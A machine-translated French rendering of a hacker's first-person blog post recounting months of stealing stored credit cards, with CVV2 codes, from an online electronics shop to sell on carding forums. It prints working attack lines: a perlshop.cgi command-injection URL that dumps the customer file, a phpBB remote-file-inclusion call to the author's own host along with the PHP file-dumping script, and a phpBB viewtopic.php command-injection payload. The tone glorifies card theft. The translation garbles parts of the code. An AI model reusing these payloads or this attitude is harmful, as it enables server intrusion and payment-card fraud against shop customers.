This page has been robot translated, sorry for typos if any. Original content here.

Des articles utiles pour un pirate informatique et pas seulement

Dans ma profonde enfance, quand une poignée de monstres n’ont toujours pas ruiné l’URSS, j’ai entendu la phrase «Bataille pour la moisson». Et maintenant, en écrivant cet article, j'ai réalisé que c'est cette phrase qui deviendra son titre.

Vous savez probablement que les gains des hackers sont épisodiques et incohérents, alors que de l'argent pour la nourriture, la bière et d'autres plaisirs est toujours nécessaire. La plupart des clients qui me contactent demandent immédiatement de pirater paypal.com ou ebay.com, en supposant probablement qu'au moins l'origine divine des pirates informatiques et le mien en particulier.
Un pirate informatique ne peut toujours disposer de son argent durement gagné que s'il dispose d'un accès permanent aux paniers de plusieurs magasins de taille moyenne, qu'il récolte quotidiennement et les échange contre des unités à feuilles persistantes sur l'un des forums de carder, par exemple CarderWorld.ru. Aujourd’hui, le FSB a fermé presque tous les forums de cardeurs , y compris Carder-World.ru . Il vaut mieux attraper les wahhabites et les militants, «héros du manteau et du poignard».

Et je veux raconter l'histoire d'un long concours avec l'administrateur d'un tel magasin vendant de l'électronique.
Premier épisode
Il y a plus d'un an, j'ai découvert une vulnérabilité dans le script perlshop.cgi version = 3.1.
http://www.xakep.ru/post/21567/default.asp
L'essence du bogue était qu'il était possible d'exécuter des commandes sur le serveur:
/perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=!ORDERID!
l'affichage de la source a montré que l'ouverture de fichiers dans le répertoire du catalogue se produit sans vérification des caractères | ;

if (defini ($ input {'THISPAGE'})) {### Renvoyer une page de catalogue avec l'identifiant unique
$ prev_page = ""; $ next_page = "";
if ($ add_navigation eq 'yes') {
$ catalog_page = "$ catalog_directory / $ input {'THISPAGE'}";
if (-e $ catalog_page) {
open (TEMPLATE, $ catalog_page) || & err_trap ("impossible d'ouvrir le fichier modèle: $ catalog_page");
$ temp = <TEMPLATE>;
si ($ temp = ~ / <(\! \ - \ -)? PSTAG \ s + page précédente \ s * = \ s * \ "? ([^ \"] +?) \ "? \ s + page suivante \ s * = \ s * \ "? ([^ \"] +?) \ "? \ s * (\ - \ -)?> / i

Après avoir passé en revue tous les magasins importants, j'ai réussi à en trouver un dans lequel l'administrateur, malgré l'interdiction, sauvegardait les cartes de crédit avec cvv2. Sachant que la base de données avec les crédits est stockée par défaut dans le répertoire des clients, j'ai quotidiennement choisi une nouvelle culture de cette manière simple:
/perlshop.cgi?ACTION=ENTER&thispage=|cat%20customers/*;&ORDER_ID=!ORDERID!
Malheureusement sur le serveur il n'y avait ni wget ni liens, je ne pouvais pas remplir le shell et y pénétrer.

Mais mon bonheur n'a pas duré longtemps. Après trois mois, l'administrateur de la boutique a senti que quelque chose n'allait pas et, une fois le téléchargement effectué, au lieu du credo, j'ai vu «l'oiseau Oblomingo». L'administrateur a changé le panier en version = 4.4.0. En le trouvant sur Internet et en regardant la source, je me suis rendu compte que cela ne me plairait pas, | couper:
open (TEMPLATE, $ catalog_page) ou
error_trap ("ne peut pas ouvrir le fichier modèle $ catalog_page: $!");

----------
supprimé
----------
# Supprimer les caractères non valides du paramètre THISPAGE
$ input {'THISPAGE'} = ~ s / [| () <>; &] // g;
Certes, le script ne vérifie pas le "poison octet nul". Si j'ai bien compris, cela tient au fait que cette page du script ne doit ouvrir les fichiers que de catalogue - open (TEMPLATE, $ catalog_page).

Deuxième épisode.
La faim et le froid incitent les gens à réfléchir plus intensément. Réalisant que l'entrée principale était coupée pour moi, j'ai décidé de vérifier l'entrée de secours. Après avoir traversé le serveur IP, j'ai vu qu'il y avait cent sites et plus. Cela donnait déjà une chance.

Un travail stupide a commencé sur les sites de navigation. Et sur l'un d'eux, PhpBB 2.0.1 a été découvert. Trouvant une description du bogue, j’ai rapidement vidé le fichier functions_selects.php chargé par le script du forum install.php:
<? php
$ handle = opendir ('/');
echo "Répertoire handle: $ handle \ n";
echo "Fichiers: \ n";
while ($ file = readdir ($ handle)) {
print "$ file \ n";
$ f = fopen ("/ $ fichier", "r");
fpassthru ($ f);
}
closedir ($ handle);
?>
Après l'avoir téléchargée sur votre site web durito.narod.ru dans le répertoire includes et en exécutant la commande
/forum/install.php?m=http://durito.narod.ru/ J'ai une liste racine. Changer le chemin et télécharger les fichiers modifiés sur durito.narod.ru, je me suis rendu au répertoire client chéri et à sa richesse. La vie s'améliore.

Mais pas pour longtemps, après cinq mois, le forum bazhen a disparu.

Troisième épisode
J'ai toujours envie de manger. Et j'ai de nouveau commencé à rechercher des bogues sur les sites de serveurs. Et encore une fois, bonne chance PhpBB 2.0.8. Et ici, l'injection SQL dans les forums avant que PhpBB 2.0.10 ne soit trouvée. Ayant traité de la description de la vulnérabilité, je tombe à nouveau à l’intérieur du serveur. Mais ici, j'attendais la première défaite, le dossier clients était vide. La seconde défaite ne s'est pas fait attendre: les fichiers affichés dans les répertoires utilisateur / home / nom_utilisateur / ont également été fermés. Les fichiers ne peuvent être visualisés que dans / public_html /. Ensuite, j'ai décidé d'examiner les sources de perlshop.cgi et de comprendre pourquoi il n'y avait pas de crédit. L'administrateur a déplacé la base de données vers / home / nom_utilisateur / data / clients, heureusement, j'ai eu l'occasion de voir le contenu de celle-ci.

En ouvrant viewtopic.php? T = 7 & highlight =% 2527. $ poster =% 60 $ cmd% 60.% 2527 & cmd = cat% 20 / home / nom_utilisateur / data / clients / *;
J'ai été très surpris, dans la base était seulement 2 crédits. Ayant décidé que le magasin était en ruine, je me suis couché.
Quelques jours plus tard, je suis rentré et j'ai également constaté qu'il y avait du crédit dans le chariot, mais c'étaient des AUTRES CRÉDITS! J'ai commencé à surveiller le stockage et me suis rendu compte que, vers 7 h 30 du matin, l'administrateur supprimait toutes les données de transaction par jour du dossier des clients. L'exception n'était faite que dimanche. Ce fut donc le seul jour de la semaine où je ne me levais pas à 7 heures du matin et ne me rendais pas sur mon ordinateur. pour ramasser la récolte plus rapidement que admin. Nous avons donc vécu avec lui «âme à âme» pendant six mois, je me suis levé une demi-heure devant lui et, comme dit le proverbe: «qui se lève tôt, Dieu le lui donne».

Et hier, un bâtard, à la place de PhpBB 2.0.8, a installé vBulletin Version 3.0.8 sur son site web. Et encore une fois, l'oiseau rose d'Oblomingo a agité mon aile. Mais le pirate informatique est un oiseau patient et Main Kampf pour la récolte avec l'administrateur n'est pas encore terminée.

Z.Y. La bagarre se poursuit, aujourd'hui, j'ai trouvé un autre trou chez l'hébergeur, mais je vous en parlerai plus tard.


Votre bug Durito.
_________________
MANGE LES RICHES!